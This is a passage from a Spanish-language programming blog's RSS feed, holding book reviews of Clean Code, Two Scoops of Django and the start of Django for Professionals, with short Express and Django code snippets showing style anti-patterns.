entender como interaccionan las variables dentro de la lógica de la función, además son difíciles de incluir en las pruebas puesto que hay que probar diferentes combinaciones de estos para asegurarnos de cubrir cada caso de la función.&lt;/p&gt;&#xA;&lt;p&gt;Suena lógico ¿no? Bueno sí, pero si revisas libros, vídeos, repositorios e incluso en la documentación oficial de ciertas tecnologías muy maduras y que se usan en sitios web de talla mundial, uno puede ver numerosas funciones con dos, tres y hasta cuatro argumentos.&lt;/p&gt;&#xA;&lt;p&gt;Ejemplo de express JS:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; express &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; require(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;express&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; auth &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; require(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;../middleware/auth&amp;#39;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; router &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; express.Router()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;router.get(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/users/me&amp;#39;&lt;/span&gt;, auth, &lt;span style=&#34;color:#ff6ac1&#34;&gt;async&lt;/span&gt; (req, res) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    res.send(req.user)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;})&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A mi, sin embargo, no me parece tan grave ni tan difícil de leer este pequeño fragmento de código pero quizás sería razón suficiente para ser excomulgado de la iglesia del Clean Code.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-no-me-gusto-de-clean-code&#34;&gt;¿Qué no me gustó de Clean Code?&lt;/h2&gt;&#xA;&lt;p&gt;Este libro es lo que yo considero un anacronismo, el autor usa Java para desarrollar sus ejemplos. Sí, ya sé que Java era increíblemente popular antes, pero usar pseudocódigo o C hubiera sido una mejor opción.&lt;/p&gt;&#xA;&lt;p&gt;El código que se usa para los ejemplos me parece bastante rebuscado, utiliza fragmentos de código completos en lugar de un ejemplo mínimo, el autor de Refactoring lo hace mucho mejor en este aspecto.&lt;/p&gt;&#xA;&lt;p&gt;Sentí el libro innecesariamente largo, los ejemplos están bien detallados, pero no creo que se necesiten tantas páginas para exponer algunos temas tan simples, como el nombrado de variables.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;que-alternativas-hay-a-clean-code&#34;&gt;¿Qué alternativas hay a Clean Code?&lt;/h2&gt;&#xA;&lt;p&gt;Si no has tenido ninguna aproximación con buenas prácticas de escritura de código te recomiendo darle una leída a este libro, pues puedes adquirir algunos consejos útiles que quizás no habrías considerado, incluso aunque no estés de acuerdo con todo su contenido, el punto es que no te detengas ahí y lo complementes con más material.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-and-maintanable-code-unquestionable-dogmas.webp&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/linux/uncle-bob-clean-code-and-the-clean-code-paradigms/images/clean-and-maintanable-code-unquestionable-dogmas.webp&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Clean and unquestionable dogmas should be avoided at all cost&#34; width=&#34;600&#34; height=&#34;810&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Pero, mientras lo lees, considera que &lt;strong&gt;este libro no es un manual que deba ser tomado como un reglamento inquebrantable&lt;/strong&gt;, sino la opinión de una persona, pero los tiempos cambian, las reglas se mejoran y la experiencia marca nuevas pautas de lo que es código mantenible. Toma todos los consejos que mejoren tu código y cuestiona todo lo que te parezca mejorable. Todas las religiones tienen sus detractores y Clean Code no es la excepción.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Uncle Bob&lt;/em&gt; propone SOLID como una filosofía a seguir, pero debes saber que no es la única, te dejo algunas alternativas interesantes que pueden complementar tu visión y para darte una visión más completa de este tópico:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://speakerdeck.com/tastapod/cupid-for-joyful-coding?slide=9&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;CUPID&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;A Philosophy of Software Design de John Ousterhout.&lt;/li&gt;&#xA;&lt;li&gt;The Art of Readable Code&lt;/li&gt;&#xA;&lt;li&gt;Refactoring to Patterns de Joshua Kerievsky&lt;/li&gt;&#xA;&lt;li&gt;Refactoring&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Por cierto, el otro día me compartieron en Twitter un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/ryanmcdermott/clean-code-javascript&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;resumen de los conceptos de Clean Code con ejemplos en Javascript.&lt;/a&gt;&#xA; con el que puedes echarle un vistazo al contenido del libro antes de decidir entre comprarlo o no comprarlo.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Hay dos tipos de programadores, los que odian Clean Code y los que lo aman. Este libro desata discusiones acaloradas en internet; unos lo consideran una biblia que profetiza mejores tiempos con código limpio y ordenado, otros lo consideran un manual desactualizado escrito por un autoproclamado dictador pedante sobre como escribir código ¿Y yo? Pues para ser sincero un poco de ambos. Esta entrada es mi humilde opinión del libro Clean Code de Robert C. Martín, el &lt;strong&gt;creador del ampliamente conocido acrónimo SOLID&lt;/strong&gt; y también conocido como el &lt;em&gt;uncle bob&lt;/em&gt;.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>El mejor libro de Django, reseña de Two Scoops of Django</title>
      <link>https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/</link>
      <pubDate>Sat, 02 May 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/el-mejor-libro-de-django-resena-de-two-scoops-of-django/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Esta entrada es una reseña de Two scoops of Django, el que yo considero &lt;strong&gt;el mejor libro de Django&lt;/strong&gt;. Es un libro totalmente imprescindible si te dedicas al desarrollo de aplicaciones usando Django. Probablemente ya lo has escuchado nombrar, ya que es un libro bastante popular entre los desarrolladores angloparlantes.&lt;/p&gt;&#xA;&lt;p&gt;Este es uno de esos libros que tienen personalidad, desde el momento en que lo tomas y ves las ilustraciones de helados en la portada sabes que los autores le han puesto todo el esfuerzo posible para que valga cada centavo que pagaste por él. Además cada capítulo del libro está acompañado de agradables ilustraciones de helados, que te harán más amena la lectura y te ayudarán a recordar el contenido.&lt;/p&gt;&#xA;&lt;h2 id=&#34;este-es-un-libro-para-usuarios-intermediosavanzados&#34;&gt;Este es un libro para usuarios intermedios/avanzados&lt;/h2&gt;&#xA;&lt;p&gt;Two Scoops of Django no intenta enseñarte el funcionamiento general de Django, tampoco pretender ser un tutorial paso por paso para la creación de un proyecto. Two Scoops of Django es un manual de buenas prácticas de Django que va desde la homogenización del acomodo de carpetas hasta el despliegue de las aplicaciones usando sistemas automatizados, pasando por consejos y buenas prácticas en el uso de modelos, funciones, urls, plantillas, etc.&lt;/p&gt;&#xA;&lt;p&gt;Sin embargo este no es un libro para quienes buscan un primer contacto con Django. El libro da por hecho que no es la primera vez que usas Django o Python y que entiendes todo el proceso que ocurre desde que empiezas a escribir código de Django hasta que lo llevas a un servidor. Los autores te mostrarán las buenas prácticas que ellos han adquirido a lo largo de los años, y te mostrarán los antipatrones que, ellos consideran, debes evitar.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;contenido-de-two-scoops-of-django&#34;&gt;Contenido de Two Scoops of Django&lt;/h2&gt;&#xA;&lt;p&gt;El temario del libro está bastante completo y puedes estar seguro de que tocan todos los temas importantes. Aquí te dejo una lista de algunos temas que se tratan en el libro:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Cuando usar desnormalización en tu base de datos&lt;/li&gt;&#xA;&lt;li&gt;Maneras de estructurar las carpetas de tu proyecto&lt;/li&gt;&#xA;&lt;li&gt;Como manejar cambios de versión en una API&lt;/li&gt;&#xA;&lt;li&gt;Como optimizar queries de base de datos&lt;/li&gt;&#xA;&lt;li&gt;Organizar tus dependencias de Pip&lt;/li&gt;&#xA;&lt;li&gt;Que hacer cuando no puedes manejar variables de entorno en tu sistema de desarrollo&lt;/li&gt;&#xA;&lt;li&gt;Uso correcto de logging para monitorear eventos&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Para finalizar el libro, los autores compartirán contigo las librerías que ellos utilizan en cada uno de sus desarrollos como parte de su flujo de trabajo y ordenadas por tema, algunas de ellas son: python-magic, circus, django-kevin, Twine, django-watson, etc. Sus recomendaciones también se extienden a los libros; en otra sección del apéndice aparece una lista de los libros de Django y Python que recomiendan los autores, organizados por niveles; básico o intermedio/avanzado.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-eje-central-del-libro-son-las-buenas-practicas&#34;&gt;El eje central del libro son las buenas prácticas&lt;/h2&gt;&#xA;&lt;p&gt;Como ya mencioné, el libro se centra en las buenas prácticas de Django. Para que le des una pequeña probadita a lo que encontrarás en el libro te dejo algunos ejemplos basados en las recomendaciones que puedes encontrar en el interior del libro.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO HAGAS ESTO &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; models.gamer &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Gamer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gamers_to_email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; []&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; gamer &lt;span style=&#34;color:#ff6ac1&#34;&gt;in&lt;/span&gt; Gamer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;objects&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;iterate():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; gamer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;games_bought &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; gamer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;finished_games:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        gamers_to_email&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;append(gamer)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿Es obvio porqué no es buena práctica? Ahora echa un vistazo a este:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO HAGAS ESTO &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.forms &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.db.models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este de aquí es bastante similar a un ejemplo que aparece en la documentación de Django&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NO HAGAS ESTO &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;videogame_display&lt;/span&gt;(request, videogame_id):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    videogame &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; get_object_or_404(Videogame, &lt;span style=&#34;color:#ff5c57&#34;&gt;id&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;videogame_id)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    date &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; timezone&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;now()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;videogame_display.html&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;locals&lt;/span&gt;())&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Los ejemplos anteriores representan pedazos de código &lt;strong&gt;totalmente funcionales&lt;/strong&gt;, pero que, por su estructura, puede llegar ocasionar bugs, bajo rendimiento, problemas más serios en un futuro o simplemente representar fricción en el proceso de desarrollo del código.&lt;/p&gt;&#xA;&lt;h2 id=&#34;un-libro-que-se-actualiza-constantemente&#34;&gt;Un libro que se actualiza constantemente&lt;/h2&gt;&#xA;&lt;p&gt;Muchos autores de libros de Django abandonan sus obras y, con el pasar de los años estas se desactualizan (como le paso a The Definitive Guide to Django). Los autores de este libro no entran en esta categoría, actualizan constantemente el contenido de su obra y ponen a disposición versiones actualizadas cada cierto tiempo. Ahora mismo &lt;del&gt;están trabajando&lt;/del&gt; ya está disponible la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.feldroy.com/products/two-scoops-of-django-3-x&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;versión alpha para Django 3.0&lt;/a&gt;&#xA; de este mismo libro la cual durará mucho tiempo vigente.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Conocimientos previos recomendados:&lt;/strong&gt; HTML, CSS, Python, Django, REST, Base de datos&lt;br&gt;&#xA;&lt;strong&gt;Recomendado para leerlo:&lt;/strong&gt; 10/10&lt;br&gt;&#xA;&lt;strong&gt;Idiomas:&lt;/strong&gt; Inglés, español (Estará disponible para la última versión)&lt;/p&gt;&#xA;&lt;p&gt;Si quieres leer sobre más libros para aprender Django entra en mi &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/resena-de-django-for-professionals/&#34;&gt;reseña de Django for Professionals&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Esta entrada es una reseña de Two scoops of Django, el que yo considero &lt;strong&gt;el mejor libro de Django&lt;/strong&gt;. Es un libro totalmente imprescindible si te dedicas al desarrollo de aplicaciones usando Django. Probablemente ya lo has escuchado nombrar, ya que es un libro bastante popular entre los desarrolladores angloparlantes.&lt;/p&gt;&#xA;&lt;p&gt;Este es uno de esos libros que tienen personalidad, desde el momento en que lo tomas y ves las ilustraciones de helados en la portada sabes que los autores le han puesto todo el esfuerzo posible para que valga cada centavo que pagaste por él. Además cada capítulo del libro está acompañado de agradables ilustraciones de helados, que te harán más amena la lectura y te ayudarán a recordar el contenido.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Reseña de Django for Professionals</title>
      <link>https://coffeebytes.dev/es/django/resena-de-django-for-professionals/</link>
      <pubDate>Wed, 15 Apr 2020 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/django/resena-de-django-for-professionals/</guid>
      
      <category>django</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Hace algo de tiempo, mientras buscaba información sobre Django por internet me encontré con un &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://djangochat.com/&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;podcast semanal muy bueno llamado Django chats&lt;/a&gt;&#xA;. El autor, llamado William S. Vincent, habla de Django y entrevista desarrolladores relacionados con este framework de desarrollo web. Además de llevar su podcast religiosamente, William S. Vincent también escribe libros sobre Django. Uno de ellos es Django for Professionals, el cual es &lt;strong&gt;uno de los mejores libros de Django moderno&lt;/strong&gt; que he leído hasta el momento. Este libro forma parte de una trilogía sobre Django. Si sabes inglés date una vuelta por el podcast de Django del autor, encontrarás mucho contenido genial sobre Django y enlaces de compra a sus tres libros:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Django for Beginners&lt;/li&gt;&#xA;&lt;li&gt;Django for APIS&lt;/li&gt;&#xA;&lt;li&gt;Django for Professionals&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Si no conoces las ventajas y desventajas que ofrece Django, visita mi entrada donde te explico algunas &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/django/por-que-deberias-usar-django-framework/&#34;&gt;ventajas y desventajas de Django&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;h2 id=&#34;un-poco-de-django-moderno-para-profesionales&#34;&gt;Un poco de Django moderno para profesionales&lt;/h2&gt;&#xA;&lt;p&gt;Este libro está actualizado a Django 3.0, la versión más moderna de Django al momento de escribir este artículo. Django for professionals va a presentar los temas que abarca a partir del desarrollo de un proyecto tienda de libros. El desarrollo de esta aplicación se realizará usando las siguientes tecnologías; Docker, para normalizar los entornos de desarrollo; Git, para el control de versiones; Stripe, para los pagos; Postgres, para la base de datos; Y Heroku; para realizar el despliegue.&lt;/p&gt;&#xA;&lt;p&gt;Una característica del libro que me gustaría destacar es la escritura de tests de los avances realizados a lo largo de cada capítulo, esto es algo que he visto &lt;strong&gt;en pocos libros&lt;/strong&gt; y que yo creo que debería de &lt;strong&gt;volverse la norma&lt;/strong&gt; en todos los libros de programación. Si desconoces del propósito de los tests o consideras que son innecesarios, dame una oportunidad de intentar convencerte de lo contrario en mi entrada sobre &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/python/unittest-python-valen-la-pena-los-tests-en-python/&#34;&gt;unnitest de Python y el testing.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 